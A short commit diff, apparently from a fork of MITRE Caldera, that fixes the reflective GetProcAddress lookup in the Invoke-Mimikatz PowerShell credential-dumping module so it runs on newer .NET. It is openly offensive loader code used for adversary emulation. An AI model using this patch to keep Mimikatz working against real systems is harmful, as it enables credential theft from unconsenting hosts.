fixed via mitre/caldera/issues/38

mp4383 · Aug 6, 2021 · a9a1866 · a9a1866
1 parent 08cbd27
commit a9a1866
Showing 1 changed file with 3 additions and 2 deletions.
diff --git a/data/module_source/credentials/Invoke-Mimikatz.ps1 b/data/module_source/credentials/Invoke-Mimikatz.ps1
@@ -883,7 +883,8 @@ $RemoteScriptBlock = {
         $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
         # Get a reference to the GetModuleHandle and GetProcAddress methods
         $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
-        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+        # $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
+        $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);
         # Get a handle to the module specified
         $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
         $tmpPtr = New-Object IntPtr
@@ -2742,4 +2743,4 @@ $DomainSID = $parts2[0..($parts2.Count-2)] -join '-';
 $results = Main;
 "Hostname: $HostName / $DomainSID";
 $results
-}
+}